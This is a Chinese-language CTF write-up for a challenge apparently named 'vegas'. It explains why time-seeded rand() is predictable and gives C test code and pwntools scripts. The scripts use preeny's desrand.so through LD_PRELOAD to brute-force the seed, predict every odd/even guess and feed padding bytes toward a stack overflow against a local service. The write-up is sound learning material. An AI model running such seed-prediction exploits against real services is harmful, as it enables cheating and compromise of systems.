Vuln

程序是个猜奇数偶数的游戏,但是是随机的。

fake random

程序中用time作为随机数种子

wp中说time作种子是可以预测的。

不太懂。。写了个程序看看。

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <time.h>
#include <unistd.h>

int main()
{
    int mseed = time(0);
    srand(mseed);
    int tmp_randn;
    for(int i=0; i<10; i++)
    {
        tmp_randn = rand();
        printf("0x%8x\n", tmp_randn);
    }
    printf("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n");
    srand(mseed);
    for(int i=0; i<10; i++)
    {
        tmp_randn = rand();
        printf("0x%8x\n", tmp_randn);
    }

    return 0;
}

下面是输出结果

0x2aec09b2
0x763a88d3
0x7f7db242
0x30c5939a
0x3e57ed43
...
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
0x2aec09b2
0x763a88d3
0x7f7db242
0x30c5939a
0x3e57ed43
0x fb7db99
...

这里我time都是一个值,输出结果一毛一样。实际上给的程序里就是srand了一次,然后rand生成一堆随机数,那么利用思路就是猜出时间种子,然后就基本ok了。

Ref

看了各个wp,有两种方法

  1. 把生成随机数后计算maigc number 的算法写出来,然后leak出一个值之后自己算
  2. 不逆出算法,直接去leak远程的第一个值,然后本地也开一个进程爆破,遇到第一个值相等,就开始记录本地之后的值,把记录的值放到远程就直接“猜”对了!

desrand.so

看到su的wp里用了这么一个so库,配置环境变量,感觉挺有趣,于是学习一下。

google第一个就是一个github链接https://github.com/zardus/preeny

里面各种deXXX.so说明,clone下来之后测试。

test_time.c

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <time.h>
#include <unistd.h>

int main()
{
    int mseed = time(0);
    srand(mseed);
    int tmp_randn;
    for(int i=0; i<10; i++)
    {
        tmp_randn = rand();
        printf("0x%8x\n", tmp_randn);
    }
    return 0;
}

也就是把上面那个稍微改了一下

test_time.py

import os
import time
from pwn import *

mine_time = int(time.time())

mine_env = os.environ
mine_env['LD_PRELOAD'] = './desrand64.so'

mine_env['SEED'] = str(mine_time)
io0 = process('./stime')
print 'io0:'
print io0.recvline()
io0.clean()
sleep(1)

mine_env['SEED'] = str(mine_time)
io1 = process('./stime', env=mine_env)
print 'io1'
print io1.recvline()
io0.clean()

io0.close()
io1.close()

这里基本参照su师傅的wp。的几个环境变量。查了一下,LD_PRELOAD是用了在程序运行前提前加载的,根据git上给的那个编译出来的几个so,还有什么dealarm.so什么的,以后就不用手动patch程序了(*^_^*)

写的测试脚本里两个端口中间间隔了一秒,正常情况下读到的随机数值应该不一样吧。不过这里由于有了环境变量的设置,使得输出结果如下了

[*] Process './stime' stopped with exit code 0
0x79174068
0x549431aa
0x64fa41bb
0x add66fb
0x4251b37b
0x785ac0d8
...
[+] Starting local process './stime': Done
io1
[+] Receiving all data: Done (110B)
[*] Process './stime' stopped with exit code 0
0x79174068
0x549431aa
0x64fa41bb
0x add66fb
0x4251b37b
0x785ac0d8
...

简直又一毛一样,interesting!

看来时间由我任意控制了!

Real test

下面来实际测试下vegas。

由于程序是32bit的,make的时候注意

 deadfish@:~$ make CFLAGS=-m32

直接搞个爆破脚本

def answer_guess(tmp_io):
    tmp_io.recvuntil('Choice:\n')
    tmp_io.sendline(str(1))
    tmp_io.recvuntil('Not sure\n')
    tmp_io.sendline(str(3))
    tmp_io.recvuntil('The number is ')
    data = tmp_io.recvuntil('\n')[:-1]
    rd_magic_nub = int(data, 16)
    return rd_magic_nub


def crack_guess(tmp_io):
    orginal_magicn = answer_guess(tmp_io)
    right_answer = []
    now_time = int(time.time())
    for m_time in range(now_time-60, now_time+60):
        mine_env = os.environ
        mine_env['LD_PRELOAD'] = './desrand.so'
        mine_env['SEED'] = str(m_time)
        local_io = process('./vegas_crac', env=mine_env)
        tmp_magic = answer_guess(local_io)
        #print 'tmp magic number', tmp_magic
        if tmp_magic == orginal_magicn:
            print 'found magic', hex(tmp_magic)
            for i in range(100):
                if answer_guess(local_io) % 2 == 0:
                    right_answer.append(2)
                else:
                    right_answer.append(1)
            local_io.close()
            return right_answer
        local_io.close()
    return

下面看看是不是都”猜“对了

def vguess_pad(io, gus_opt, pad_byte):
    io.recvuntil('Score: ')
    data = io.recvuntil('\n')[:-1]
    now_socore = int(data, 10)
    print 'now_socore:', now_socore
    io.recvuntil('Choice:\n')
    io.sendline(str(1))
    io.recvuntil('Not sure\n')
    io.sendline(str(gus_opt))
    io.recvuntil('The number is ')
    data = io.recvuntil('\n')[:-1]
    io.recvuntil('step:')
    io.sendline(pad_byte)

def veg_exp():
    io_remote = remote('127.0.0.1', 2333)
    answer_list = crack_guess(io_remote)
    if answer_list != None:
        raw_input('start padding?')
        print answer_list
        secrets = 'A'*0x20
        for i, c in enumerate(secrets):
            vguess_pad(io_remote, answer_list[i], c)

    io_remote.close()

输出结果

start padding?
[1, 2, 1, 2, 2, 1, 2, 1, 1, 1, 1, 2, 2, 2, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 1, 2, 2, 2, 1, 1, 1, 2, 1, 1, 1, 2, 2, 1, 2, 1, 2, 2, 1, 2, 2, 2, 2, 1, 2, 1, 2, 2, 1, 1, 2, 1, 2, 2, 1, 1, 2, 1, 2, 2, 2, 2, 2, 1, 2, 2, 1, 2, 2, 2, 1, 2, 2, 2, 1, 1, 1, 1, 1, 1, 2, 1, 2, 2, 1, 2, 2, 2, 2, 1, 2, 2, 1, 1, 2, 2]
now_socore: 0
now_socore: 1
now_socore: 2
now_socore: 3
now_socore: 4
now_socore: 5
now_socore: 6
now_socore: 7
now_socore: 8
now_socore: 9
...
now_socore: 30
now_socore: 31

效果拔群!

Exp

简单的栈溢出 orz。。先看逃逸啥的了。(T_T) sigh~

results matching ""

    No results matching ""